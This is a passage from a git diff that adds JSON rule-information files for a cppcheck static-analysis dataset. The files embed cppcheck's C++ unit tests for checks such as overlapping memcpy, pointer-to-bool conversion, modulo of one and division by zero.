memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkMisusedScopedObject.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkMisusedScopedObject.json new file mode 100644 index 0000000..8c5a882 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkMisusedScopedObject.json @@ -0,0 +1,13 @@ +{ + "name": "checkMisusedScopedObject", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 68, + "branches": 22, + "apis": 88, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkModuloOfOne.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkModuloOfOne.json new file mode 100644 index 0000000..9517282 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkModuloOfOne.json @@ -0,0 +1,22 @@ +{ + "name": "checkModuloOfOne", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 17, + "branches": 6, + "apis": 21, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 12832 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n 